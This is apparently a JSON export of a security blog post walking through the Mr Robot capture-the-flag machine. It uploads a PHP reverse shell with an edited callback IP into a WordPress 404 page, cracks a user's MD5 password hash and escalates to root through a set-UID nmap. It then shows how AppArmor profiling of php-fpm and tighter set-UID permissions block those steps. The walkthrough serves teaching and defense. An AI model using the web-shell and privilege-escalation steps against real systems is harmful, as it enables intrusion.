{"id":762,"date":"2017-06-08T09:13:23","date_gmt":"2017-06-08T09:13:23","guid":{"rendered":"https:\/\/zed.inguardians.com\/?p=762"},"modified":"2018-11-30T21:07:46","modified_gmt":"2018-11-30T21:07:46","slug":"protecting-the-mr-robot-vuln-hub-machine-part-2-confining-wordpress-with-apparmor","status":"publish","type":"post","link":"https:\/\/zed.inguardians.com\/blog\/protecting-the-mr-robot-vuln-hub-machine-part-2-confining-wordpress-with-apparmor\/","title":{"rendered":"Protecting the Mr Robot Vuln Hub Machine \u2013 Part 2 – Confining WordPress with AppArmor"},"content":{"rendered":"
[et_pb_section bb_built=”1″ admin_label=”section”][et_pb_row admin_label=”row”][et_pb_column type=”4_4″][et_pb_text admin_label=”Text” background_layout=”light” text_orientation=”left” use_border_color=”off” border_color=”#ffffff” border_style=”solid”]<\/p>\n
This blog post is the sequel to Protecting the Mr Robot Vuln Hub Machine \u2013 Part 1 \u2013 Breaking a Password Spray with OSSEC Active Response<\/a>.<\/p>\n <\/p>\n <\/p>\n Let\u2019s go back on the attack. Remember, we\u2019ve got WordPress administrative access. Naturally, we place a PHP web shell, a PHP script that can give us a shell, in the WordPress install. Kali Linux has a whole directory of web shells, sorted by language:<\/p>\n <\/p>\n <\/p>\n <\/p>\n We\u2019ll edit php-reverse-shell.php, written by pentestmonkey@pentestmonkey.net<\/a>, to change this line:<\/p>\n <\/p>\n <\/p>\n to read:<\/p>\n <\/p>\n <\/p>\n We can upload this into the custom page that this WordPress theme returns for HTTP status code 404 (\u201cnot found\u201d), like so:<\/p>\n <\/p>\n <\/p>\n <\/p>\n We start up a netcat listener on our Kali system, surf to a non-existent page on the CTF machine, and, again quoting Skip Duckwall<\/a>, \u201cBob\u2019s your uncle!\u201d<\/p>\n <\/p>\n <\/p>\n <\/p>\n The defender in me is screaming again, \u201cWhy the *expletive* can WordPress (or PHP for that matter) run \/bin\/sh?\u201d. Yes, my inner monologue has parentheses. Later in this post, we\u2019ll use AppArmor to cut off the web shell access, but let\u2019s keep going on the attack side.<\/p>\n <\/p>\n <\/p>\n We take a look around, and quickly find that there\u2019s a user on this system who has a home directory in the usual \/home location.<\/p>\n <\/p>\n <\/p>\n <\/p>\n So the second flag (key-2-of-3.txt) is in user robot\u2019s home directory, but we need to get either root or user robot privilege to read that flag. Conveniently, robot has placed an MD5 sum of his password in his home directory. Let\u2019s try looking that hash up through one of the many web sites that has stored hashes of many common passwords. In this case, we\u2019ll use one from the Internet Storm Center, which has 20 million passwords hashed.<\/p>\n <\/p>\n <\/p>\n User robot\u2019s password comes out in under a minute: abcdefghijklmnopqrstuvwxyz<\/p>\n <\/p>\n So let\u2019s switch to user robot. \u201csu\u201d won\u2019t work without a pty, so we use a standard trick, as shown below.<\/p>\n <\/p>\n <\/p>\n <\/p>\n We get the second flag:<\/p>\n <\/p>\n 822c73956184f694993bede3eb39f959<\/p>\n <\/p>\n My defender\u2019s mind is again exclaiming, \u201cwait, why can WordPress\/PHP run python? Why can it run su, a Set-UID program? And why can it read robot\u2019s entire home directory, rather than just its public-html or www directory?\u201d<\/p>\n <\/p>\n We\u2019ll come back to the attack to get root and the third flag, but let\u2019s break this stage of the attack with AppArmor.<\/p>\n <\/p>\n <\/p>\n Like SELinux, AppArmor provides stronger\u00a0authorization controls around a program, spelling out exactly what files the program can access. \u00a0It also can restrict which “superuser” capabilities are available to a root-privileged program. \u00a0As you’ll see in the rest of this post, AppArmor is far\u00a0easier to learn of these two Mandatory Access Control (MAC) systems. \u00a0That said, SELinux provides much more assurance and containment. \u00a0I teach both AppArmor and SELinux in the training classes I’ve been teaching in corporate trainings and at conferences like Black Hat, CanSecWest and RSA since 2001. \u00a0You can find a link here to this year’s class at Black Hat<\/a>.<\/p>\n <\/p>\n Ubuntu and SUSE Linux both use AppArmor as their default\u00a0MAC system. \u00a0We can “apparmor” a single program on the system, such that everything except that program runs unconfined by the MAC system. \u00a0In practice, most Ubuntu systems are running a very small number of programs with AppArmor\u00a0confinement. \u00a0This post will break this attack by adding confinement around the php-fpm process, the PHP FastCGI Process Manager. \u00a0The PHP-FPM serves as the PHP interpreter for the Apache server. \u00a0We could also confine the Apache server, but I’ve skipped this here for the sake of simplicity.<\/p>\n <\/p>\n One more note: I’m switching virtual machines for the defense. \u00a0The Mr Robot virtual machine uses the Bitnami stack to easily install Apache, MySQL and WordPress, but this results in non-standard file\u00a0locations which would\u00a0make this post harder for the reader (you) to use. \u00a0This section of breaking the attack uses an Ubuntu 16.04 LTS system. \u00a0Here’s our same web shell upload to that fresh victim system:<\/p>\n <\/p>\n <\/p>\n <\/p>\n And here’s what happens when we trigger that shell:<\/p>\n <\/p>\n <\/p>\n <\/p>\n Let’s break the attack!<\/p>\n <\/p>\n <\/p>\n To confine a program with AppArmor, you create a “profile” for the program, defining what files it can access and in what ways, as well as a list of root-level capabilities it may be allowed. \u00a0AppArmor has a helper program called aa-genprof, which can\u00a0create a first draft profile for us and can even help us to add items to that profile. \u00a0We’ll use it to\u00a0profile \/usr\/sbin\/php-fpm.<\/p>\n <\/p>\n root@ubuntu:~# aa-genprof \/usr\/sbin\/php-fpm7.0<\/p>\n <\/p>\n Here’s what I see:<\/p>\n <\/p>\n <\/p>\n <\/p>\n I accidentally hit S, then go to another window to start up PHP-FPM. \u00a0I use systemctl list-units to find the service name for PHP-FPM and then restart that service:<\/p>\n <\/p>\n <\/p>\n In the original window, I hit S again and begin getting aa-genprof’s requests:<\/p>\n <\/p>\n <\/p>\n <\/p>\n The PHP-FPM wants to use root’s setuid capability, so it can switch its children processes to non-root processes, which will run as www-data. \u00a0We certainly want it to do that. \u00a0You’ll notice that aa-genprof asked me if I want to allow the setuid or generalize to an “abstraction” include file. \u00a0We can take a look at that abstraction file and will broach that in a bit. \u00a0For now, I hit 1 to switch to setuid and then A to allow that.<\/p>\n <\/p>\n <\/p>\n <\/p>\n I make the same decision for the setgid capability by hitting 3, then A.<\/p>\n <\/p>\n <\/p>\n <\/p>\n Now we’re being asked about the net_admin capability. \u00a0Let’s look this one up. \u00a0In another window, we run\u00a0“man capabilities”. \u00a0We learn that NET_ADMIN lets root change the system’s IP address, routing tables and firewall, among other functions. \u00a0It’s not clear why PHP would need this just to run, before we even start an application. \u00a0Let’s hit A for now, but promise to come back to this later. \u00a0Remember, we can strip things back out of a profile.<\/p>\n <\/p>\n <\/p>\n <\/p>\n Now aa-genprof is asking me whether I’d like to let PHP read the \/etc\/group file. \u00a0It offers two other alternatives: include files that serve as groupings of profile components we might use. \u00a0In another window, I take a look at the directory these files are in:<\/p>\n <\/p>\n <\/p>\n <\/p>\n I can take a look at the rules in the rules in the nameservice include file – here’s the first 20 lines:<\/p>\n <\/p>\n <\/p>\n Reading through this file, I feel pretty good about it. \u00a0We can certainly come back later and redo this profile more restrictively, but let’s keep things simple and choose this include file, rather than only \/etc\/group. \u00a0I hit 2<\/strong>, then A<\/strong>.<\/p>\n <\/p>\n When I reach a question about allowing PHP to read one of its configuration files in \/etc, I choose A for allow there.<\/p>\n <\/p>\n <\/p>\n <\/p>\n Now I’m asked about the \/etc\/ssl\/openssl.cnf file. \u00a0I’d like to just grant PHP full access to the \/etc\/ssl directory, so I hit G to glob that to \/etc\/ssl\/*, then hit A for allow. \u00a0Then I’m asked to let PHP write a process ID file in\u00a0\/var\/run. \u00a0Of course. \u00a0Hit A.<\/p>\n <\/p>\n <\/p>\n <\/p>\n PHP would now like to read and write from a socket name for itself. \u00a0This is the method by which it gets requests from the Apache web server, so we’ll definitely allow that. \u00a0It also asks us about the standard Zend engine temporary file in \/tmp. \u00a0We’ll allow that, of course. \u00a0We can actually cover that using the PHP5 abstraction, so we’ll choose option 1, then hit A here.<\/p>\n <\/p>\n <\/p>\n <\/p>\n As we continue and start to try to hit the WordPress site in a browser, aa-genprof will begin asking us about WordPress directories and the main web content directory \/srv\/www\/wordpress. \u00a0Eventually we give WordPress read access for the entire \/srv\/www\/wordpress where its content lives.<\/p>\n <\/p>\n This is where aa-genprof starts telling us that we’re done with the profile for now, prompting us:<\/p>\n <\/p>\n <\/p>\n We’ll hit F for Finish, whereupon we’ll be asked:<\/p>\n <\/p>\n <\/p>\n We hit S to save the changes, then F to stop the profile generator.<\/p>\n <\/p>\n We can look at our profile in \/etc\/apparmor.d\/usr.sbin.php-fpm7.0:<\/p>\n <\/p>\n <\/p>\n <\/p>\n We can certainly simplify this by consolidating all of those \/srv\/www\/wordpress\/ lines with a single one that uses the “nested glob” symbol (**), which will include all the subdirectories and their subdirectories… \u00a0This produces a simpler looking profile:<\/p>\n <\/p>\n <\/p>\n <\/p>\n As shown at the end of that last image, we reload the profile by running;<\/p>\n <\/p>\n <\/p>\n Now, we restart the php7.0-fpm service and immediately run into a failure to start. \u00a0Let’s go look at the logs ourselves and continue tweaking the AppArmor profile by hand. \u00a0We can look at \/var\/log\/kern.log, grep’ing for lines with DENIED and php-fpm7.0 in them, to produce:<\/p>\n <\/p>\n <\/p>\n <\/p>\n This is a screenful of data and isn’t getting all the files. \u00a0On the other hand, it has tons of duplicates, so let’s do some light shell kung fu to find out what two files are producing all of those DENIED messages. \u00a0We’ll grep the log, then pipe that to awk, where we’ll ask for the 13th column (whitespace-delimited), then pipe that to sort and uniq:<\/p>\n <\/p>\n <\/p>\n <\/p>\n That’s much more comprehensible!\u00a0One of these days, I’ll try using Powershell for Linux, so I can get columns by name instead of counting, but that’s a future aspiration… \u00a0For now, we got we just need to handle the issues around the MySQL socket that PHP needs to communicate via and systemd’s notification socket. \u00a0Let’s get one copy of a complaint line for each of those files:<\/p>\n <\/p>\n <\/p>\n <\/p>\n See the “requested_mask” field? It feels us what access the PHP-FPM program attempted. \u00a0From reading those two lines, we see that we need to let the PHP-FPM write to systemd’s notify socket, while it needs to be able to read from and write to MySQL’s socket. \u00a0Easy enough!<\/p>\n <\/p>\n Let’s add those to the end of the AppArmor profile and then reload the profile with aa-enforce:<\/p>\n <\/p>\n <\/p>\n <\/p>\n We try to start the PHP-FPM service again and find another error. \u00a0There’s a clue in its log file:<\/p>\n <\/p>\n <\/p>\n <\/p>\n The main PHP-FPM process, which spawns non-root children, needs to be able to write to its own socket. \u00a0We add that to its AppArmor profile and reload with aa-enforce.<\/p>\n <\/p>\n <\/p>\n <\/p>\n At this point, the PHP-FPM program starts cleanly.<\/p>\n <\/p>\n <\/p>\n We re-try our WordPress PHP web shell now, by triggering the 404 response again. \u00a0Our netcat listener doesn’t receive a shell now and our browser sees:<\/p>\n <\/p>\n <\/p>\n <\/p>\n That’s what I’m talking about!<\/p>\n <\/p>\n Let’s look at the \/var\/log\/kern.log file to see what blocked the shell.<\/p>\n <\/p>\n <\/p>\n <\/p>\n Nice! PHP couldn’t execute any other programs. \u00a0If it had tried just reading and writing other files on the system, it would have had to do so within the constraints of the AppArmor profile. \u00a0In particular, remember that the old files on the system that the PHP-FPM could write to were a PID file, three sockets, and a log file, as shown below:<\/p>\n <\/p>\n <\/p>\n That’s not much attack surface. \u00a0Then again, remember Han Solo’s best advice to Luke Skywalker, “don’t get cocky, kid!” Those sockets connect back to the MySQL and Apache web servers. \u00a0I’d strongly recommend applying\u00a0AppArmor to them as well.<\/p>\n Finally, I should note that whenever you want to change\u00a0themes or add plugins to WordPress, you’ll need to add a line to the profile to let the PHP-FPM modify file content. \u00a0You could do this permanently, but I’d prefer to add that in only when I’m making those kinds of administrative changes. \u00a0This is the line you’d add:<\/p>\n <\/p>\n \/srv\/www\/wordpress\/wp-content\/ rw,<\/span><\/p>\n \u00a0<\/span><\/p>\n You could even script this, so that you loosen\u00a0the profile for administrative changes, then tighten it back up as soon as the change is made.<\/p>\n OK, let’s finish the attack on the Mr Robot system and discuss how you’d defend.<\/p>\n <\/p>\n <\/p>\n My first three\u00a0methods for\u00a0escalating privilege on a Linux system, outside of password attacks, are:<\/p>\n <\/p>\n Nicely, this system has an unusual\u00a0Set-UID root program – can you find it?<\/p>\n <\/p>\n <\/p>\n <\/p>\n Yes, someone has installed a dated version of nmap in \/usr\/local\/bin and marked it both Set-UID root and executable by any user on the system. \u00a0Even our web shell could have run this.<\/p>\n <\/p>\n When you mark an executable set-UID, it basically runs with the privilege context of the user who owns it, rather than of the user who is running it. \u00a0If that program’s owner is root, it grants the user a (hopefully constrained) root privilege, for the life of the process. \u00a0This old version of nmap has an –interactive mode, which lets you run shell commands by preceding them with an exclamation point. \u00a0Let’s run nmap!<\/p>\n <\/p>\n <\/p>\n <\/p>\n At this point, we can add robot to the admin group, granting our user sudo access, and even install SSH to make all of this more fun.<\/p>\n <\/p>\n Let’s go back to the defensive standpoint here. \u00a0Are we sure that the web server’s user needed to be able to run su to switch user, nmap to scan the network, or any of the other programs marked set-UID?<\/p>\n <\/p>\n <\/p>\n If you were to put AppArmor around WordPress, our attacker won’t be able to reach any of these Set-UID programs. \u00a0For the rest of this blog post, let’s assume that either you didn’t get to this yet or, better yet, that you want defense-in-depth, where you use more than one defense to better your odds should an attacker breach one.<\/p>\n <\/p>\n We can take every Set-UID program on this system and sort it into one of four\u00a0buckets:<\/p>\n <\/p>\n su fits in bucket 1 (administrative users only), as does sudo. \u00a0Let’s reflect that:<\/p>\n <\/p>\n <\/p>\n Let’s put everything else in bucket 2 (humans only). \u00a0We could be stricter, likely removing ping6 entirely on this IPv4-based system as well as chfn on this system that doesn’t run fingerd, but doing the former keeps things simple enough for this already long blog post:<\/p>\n <\/p>\n <\/p>\n <\/p>\n <\/p>\n Even better, we should move everything in bucket 2 into a sudoers file and strip out Set-UID. \u00a0That gets us much better auditing and breaks any attack where the attacker doesn’t know a password.<\/p>\n <\/p>\n If you liked the theme of this and the \u00a0post, please let me know. \u00a0Find me on twitter at @jaybeale.<\/p>\n <\/p>\n <\/p>\n [\/et_pb_text][et_pb_divider admin_label=”Divider” show_divider=”on” \/][\/et_pb_column][\/et_pb_row][et_pb_row admin_label=”row”][et_pb_column type=”1_4″][et_pb_image admin_label=”Image” src=”http:\/\/zed.inguardians.com\/wp-content\/uploads\/2017\/06\/jay-resize-150×150.jpg” align=”center” custom_margin=”30px|||” \/][\/et_pb_column][et_pb_column type=”3_4″][et_pb_text admin_label=”Text”]<\/p>\n Jay Beale<\/strong> has created several defensive security tools, including Bastille Linux\/UNIX and the CIS Linux Scoring Tool, both of which were used widely throughout industry and government. He has served as an invited speaker at many industry and government conferences, a columnist for Information Security Magazine, SecurityPortal and SecurityFocus, and a contributor to nine books, including those in his Open Source Security Series and the “Stealing the Network” series. \u00a0He has led training classes on Linux Hardening and other topics at Black Hat, CanSecWest, RSA, and IDG conferences, as well as in private corporate training. \u00a0Jay is a co-founder, Chief Operating Officer and CTO of the information security consulting company InGuardians<\/p>\n [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":" This blog post, focusing on attack and defense using AppArmor, continues to walk you through an attack on a Linux-based capture-the-flag (CTF)-style system and then shows you how you could defend it without stripping out the vulnerabilities. We escalate privilege to capture more flags, then use AppArmor to break our attack. This is the sequel to Protecting the Mr Robot Vuln Hub Machine \u2013 Part 1 \u2013 Breaking a Password Spray with OSSEC Active Response.<\/p>\n","protected":false},"author":4,"featured_media":847,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":" This blog post is the sequel to Protecting the Mr Robot Vuln Hub Machine \u2013 Part 1 \u2013 Breaking a Password Spray with OSSEC Active Response<\/a>.<\/p> Let\u2019s go back on the attack. Remember, we\u2019ve got Wordpress administrative access. Naturally, we place a PHP web shell, a PHP script that can give us a shell, in the Wordpress install. Kali Linux has a whole directory of web shells, sorted by language:<\/p> <\/p> We\u2019ll edit php-reverse-shell.php, written by pentestmonkey@pentestmonkey.net<\/a>, to change this line:<\/p> to read:<\/p> We can upload this into the custom page that this Wordpress theme returns for HTTP status code 404 (\u201cnot found\u201d), like so:<\/p> <\/p>Attack: Uploading a Web Shell to Get User Daemon<\/h2>\n
$ip = '127.0.0.1'; \/\/ CHANGE THIS<\/pre>\n
$ip = '192.168.17.134';<\/pre>\n
Attack: Finding a Hashed Password, Reversing It, Logging In<\/h2>\n
Defense: AppArmor for the Web Server, to prevent shell execution and finding hashed passwords<\/h3>\n
Creating an AppArmor Profile for PHP<\/h4>\n
root@ubuntu:~# systemctl restart\u00a0php7.0-fpm.service<\/pre>\n
root@ubuntu:\/etc\/apparmor.d\/abstractions# head -20 nameservice \r\n# ------------------------------------------------------------------\r\n#\r\n# Copyright (C) 2002-2009 Novell\/SUSE\r\n# Copyright (C) 2009-2011 Canonical Ltd.\r\n#\r\n# This program is free software; you can redistribute it and\/or\r\n# modify it under the terms of version 2 of the GNU General Public\r\n# License published by the Free Software Foundation.\r\n#\r\n# ------------------------------------------------------------------\r\n\r\n# Many programs wish to perform nameservice-like operations, such as\r\n # looking up users by name or id, groups by name or id, hosts by name\r\n # or IP, etc. These operations may be performed through files, dns,\r\n # NIS, NIS+, LDAP, hesiod, wins, etc. Allow them all here.\r\n \/etc\/group r,\r\n \/etc\/host.conf r,\r\n \/etc\/hosts r,\r\n \/etc\/nsswitch.conf r,\r\n \/etc\/gai.conf r,<\/pre>\n
[(S)can system log for AppArmor events] \/ (F)inish<\/pre>\n
The following local profiles were changed. Would you like to save them?\r\n\r\n[1 - \/usr\/sbin\/php-fpm7.0]\r\n(S)ave Changes \/ Save Selec(t)ed Profile \/ [(V)iew Changes] \/ View Changes b\/w (C)lean profiles \/ Abo(r)t<\/pre>\n
aa-genprof \/usr\/sbin\/php-fpm7.0<\/pre>\n
Testing the Protection<\/h4>\n
\/run\/php\/php7.0-fpm.pid w,\r\n\/run\/php\/php7.0-fpm.sock rw,\r\n\/var\/log\/php7.0-fpm.log w,\r\n\/run\/systemd\/notify w,\r\n\/run\/mysqld\/mysqld.sock rw,<\/pre>\n
Attack: Finding a Set-UID Program to Grant Root<\/h3>\n
\n
Defense: Permissions Lockdown<\/h3>\n
\n
chgrp admin \/bin\/su \/usr\/bin\/sudo\r\nchmod 4750 \/bin\/su \/usr\/bin\/sudo<\/pre>\n
groupadd humans\r\nchgrp humans \/bin\/{ping,ping6,umount,mount} \/usr\/bin\/{passwd,newgrp,chsh,chfn,gpasswd}\u00a0\r\nchmod 4750\u00a0\/bin\/{ping,ping6,umount,mount} \/usr\/bin\/{passwd,newgrp,chsh,chfn,gpasswd}<\/pre>\n
Attack: Uploading a Web Shell to Get User Daemon<\/h2>
$ip = '127.0.0.1'; \/\/ CHANGE THIS<\/pre>
$ip = '192.168.17.134';<\/pre>